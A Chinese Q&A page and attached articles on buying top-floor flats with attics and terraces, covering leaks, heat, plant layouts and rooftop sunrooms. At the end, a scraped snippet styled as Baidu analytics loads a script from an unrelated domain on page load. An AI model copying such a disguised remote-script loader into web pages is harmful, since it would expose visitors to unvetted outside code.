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曹高峻

我想买顶楼的房子,急问顶楼带阁楼的房子有露台好还是没露台好啊,谢谢了啊

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共有4条回答

姜嘉平 有用 2

我觉得顶楼带阁楼的房子优点比缺点多,我们一起来看看啊。优点:1享受多层安静的生活,有楼上的话,估计多多少少会受楼梯走动或是楼上地板的声响,而在顶楼的话,最理想是阁楼没有任何可以影响你的.2一般阁楼的都有露台,可以养养花草,比较舒心,或是可以做为一个空中花园,享受无限的乐趣,自由空间很大,尽情发挥.3绝对的私人空间,双层,楼上楼下有个相对的隔离,比如小孩子睡楼上,而两夫妻可以主卧,和一间客房,利用面积大.缺点:楼层要爬楼梯,有点累。

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费洛妃 有用 1

90平米以下的契税是1个点,而大于90小于144的是1.5个点,另外小高层的3楼和顶楼楼层都不是太好,阁楼要看实际利用面积是多少,小高层的得房率要稍低一些,如果顶楼的还有露台,渗水和防晒都没有问题的话,而且不带老人住的话,还是顶楼带阁楼的好一些,另外80平米以上的基本在贷款方面没有什么区别,有限制的是79和60以下的小户型,希望我的回答您能满意

盛芬芬 有用 1

顶楼送露台的话好处在空间很大,可以在顶楼种一些菜,放置一些东西,坏处就是温度啊,湿度啊。顶楼送露台的话好处在空间很大,可以在顶楼种一些菜,放置一些东西,坏处就是温度啊,湿度啊。

万兰若 有用 1

房屋露台搭建顶蓬是要影响楼下次房的采光的,而且也容易造成露台下的主卧漏水,楼下的住户是不会同意的,这次庄市房和宁动的、甬江的房在设计上是有质的区别的,宁动和甬江的房露台下面是自己家的主卧,露台改造只对自己家负责,而庄市房露台下是别人家的房,而且还是主卧室,露台顶是不可以随便改造使用的,就象顶楼的家,一般自己家的屋顶上是不会让别人家来装太阳能一样,这露台就是下一楼的顶。希望有关方面到时及时制定规定,以防上下楼产生不必要的矛盾,甚至与矛盾严重激化。顶楼人家也要对楼下负责,理解楼下人家的心理。

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很多地方的顶楼的房子都会设计有阁楼,那么,顶楼带阁楼的房子好不好呢?顶楼带阁楼的房子分别有什么样的好处以及坏处呢?它对于不同的年龄段的人的受欢迎程度有没有一样呢?现在性能给大家介绍一下顶楼带阁楼的房子好不好,包括介绍一下顶楼带阁楼有什么优缺点,希望可以帮助大家综合看待和评价顶楼带阁楼的房子。顶楼带阁楼的房子好不好现在都是高层建筑,带阁楼的多半是小高层的房子,现在地价高,开发商不愿意再做小高层了,所以现在就很少有人讨论你这个户型了。阁楼的优点不用说了,相当于白送你一层楼,外加大多数阁楼都还附带一个超大阳台。缺点,阁楼冻冷夏热,空调费多出点。阁楼如果是用的瓦,漏水就还好。如果不是,那就唯有祈祷开发商防水涂层做的够厚实了一、顶楼带阁楼的房子的缺点1.防水问题。顶楼和阁楼,特别是结构比较复杂的楼顶很难防水。防水工程质量再优良,一般情况下3年左右就需要重做一次,而且结构越复杂越难做。2.保温隔热问题。顶楼和阁楼的房屋冬天冷,夏天热,没有特殊方法解决;即使通过装修材料选择等,也只能起到一点点作用,而且增加装修费用。3.供水和供气问题。顶楼的水压和气压一般比较低,在水压和气压不足时,顶楼的供水和天然气供气都有问题。二、顶楼带阁楼的优点面积增加了很多,方便住人或者放置物品。另外就是有一种阁楼的别致感,有些顶层还有比较大的窗,便于通风换气。有一部分阁楼的顶层也是给做好了上下水和暖气的,有些甚至还有卫生间,感觉就更好更方便了。视野开拓,保护视力有好处;通风、采光效果好,阴雨天能节省照明用电。4.受外界噪音影响小,没有楼上住户的噪音干扰,也不会受楼道邻居上上下下的干扰,比较安静。5.因穿行的人少,楼道比较卫生,而且个人空间较多;蚊虫较少;私密性好。总的来说,顶层带阁楼的房子到底好不好还是要根据个人的喜好来确定的,各位消费者在购买的时候一定要谨慎考虑自己的需求再做决定。以上,小编给大家详细介绍了顶楼带阁楼的房子好不好,对于它的作用进行了简要的解说,后面还对于顶楼带阁楼的房子的优缺点分别进行分析,帮助大家综合的了解和判断顶楼带阁楼的房子的好处与坏处。消费者可以结合小编的介绍以及自己的喜好选择出你们到底需不需要买顶楼带阁楼的房子,希望小编的介绍可以帮助到您!

带露台的房子好吗?顶层带露台的房子如何设计?

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一般房子都会带一个阳台,但是和露台相比较而言,许多朋友更加喜欢带露台的房子,但是如果仅仅从前期美观和后期居住舒适程度方面考虑的话,还是远远不够的,因为带露台的房子一方面可以为我们提供休闲娱乐的小角落,也适合一些喜欢园艺产品的朋友动手种植一些植物,但是另外一方面带露台的房子可能在防水方面并不是十分出色,那么接下来为大家举例的就是关于带露台的房子是否合适以及多方面的专业信息分析了。一、带露台的房子好吗带露台的房子优点:1、可以在露台种各种小植物,喜欢花花草草的人会比较喜欢有露台的房子。2、夏天天气热可以纳凉,晚上可以更好的观看风景。露台缺点:1、楼上的住户有可能会不自觉往下丢垃圾,那清理比较麻烦,看着也不干净。2、有露台要注意防盗,把防盗措施做好。​二、顶层带露台的房子如何设计1、花箱式:花箱一般为长方形,摆放或悬挂都更适合阳台形状,节省占用空间。将培育好的盆花摆进花箱,用挂钩悬挂于阳台的外侧或平放在阳台围墙的上沿。花箱式可选用一些喜阳性、分枝多、花朵繁、花期长的耐旱花卉,如天竺葵、四季菊、大丽花、长春花等。2、附壁式:所谓附壁式就是利用攀援性植物装饰垂直墙壁,是垂直绿化的方式。在围栏内、外侧放置爬山虎、凌霄等木本藤蔓植物,绿化围栏及墙壁。3、花架式:在较小的阳台上,为了扩大种植面积,可利用阶梯式或其他形式的盆架,将各种盆栽植物按照大小高低顺序排放,在阳台上形成立体盆花布置;也可以将盆架搭出阳台之外,向户外要空间,从而加大绿化面积也美化了街景。种植种类不宜过多过杂,要层次分明,格调统一,可选用菊花、月季、仙客来、文竹、彩叶草等。4、藤盆式:在阳台的四角立竖竿,上方置横竿,使其固定住形成棚架;或在阳台的外边角立竖竿,并在竖竿间缚竿或牵绳,形成类栅栏的东西。使葡萄、瓜果等蔓生植物的枝叶牵引至架上,形成荫栅或荫篱。5、悬挂式:悬垂式种植花卉是一种极好的立体装饰,有两种方法,一是悬挂于阳台顶板上,用小巧的容器栽种吊兰、蟹爪莲、彩叶草等美化立体空间。二是在阳台栏沿上悬挂小型容器,栽种藤蔓或披散型植物,使它的枝叶悬挂于阳台之外,美化围栏和街景。采用悬挂式可选用垂盆草、小叶常春藤、旱金莲等。6、综合式:将以上几种形式合理搭配,综合使用,也能起到很好的美化效果,在现实生活中应用也比较普遍。许多朋友都会因为自己家中没有合适的一个地方用来种植栽培绿色植物而感觉到苦恼,这个时候不妨参考上文了解一下关于带露台的房子多方面的优势和特点,它们不仅仅可以后期用来装饰,开辟成为一个可以供家人朋友休闲娱乐的小角落,另外一个方面带露台的房子,后期的功能选择也是比较丰富的,有兴趣朋友可以结合上文今天了解,除了学习它们优势以外,最好可以了解带露台的房子多方面的缺点,对比实际情况,才能够做出最合适的选择。

怎样打造一个令人满意的顶楼露台阳光房

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住在顶层的一些屋主喜欢装修顶楼露台阳光房,因为可以在里面享受日光浴好好放松休息。也可以在它里面种上一些绿植。现今的阳光房设计更加多元化,这就是许多屋主喜欢它的原因。那么怎样才能打造出一个令人满意的顶楼露台阳光房呢?首先,顶楼露台阳光房的设计必须注意安全,避免渗漏等问题。阳光房的设计应遵循建筑的一般风格,并应成为建筑的一个组成部分。您可以为传统架构添加很多东西,使阳光房拥有更加优秀、令人赏心悦目的设计。顶楼阳光房设计的安全性也非常重要,因为如果它符合科学的机械结构,具有良好的风压稳定性,就更易于使用和维护。其次,阳光房的主楼必须可靠。虽然阳光房不大,但它也需要用到多种材料。必须从地板到墙壁设计都全面地考虑进去。例如,如果地板必须由木材制成,则墙壁必须根据地板风格而具有一定的设计感。阳光会在短时间内使顶楼露台阳光房的气温升高许多,所以大家应该在装置之前考虑好它的合适位置。专业的顶楼露台阳光房应该有一个独立的规划和制作公司来完成对它的各种配置。 在屋顶和门窗上可以安装双层玻璃,屋顶配有钢化安全玻璃。阳光房配有双层玻璃,可以照亮房间,且房屋内的热量不会被释放。同时,隔音玻璃安装在阳光房中,以更好地隔离外部噪音。如果顶楼露台阳光房用作普通房间,屋顶由彩色钢制成。通过门窗和屋顶天窗实现通风。阳光房已经能够克服夏季阳光房中“热桑拿”的问题。北欧水幕阳光房的成功开发将是未来几年阳光房的上升方向。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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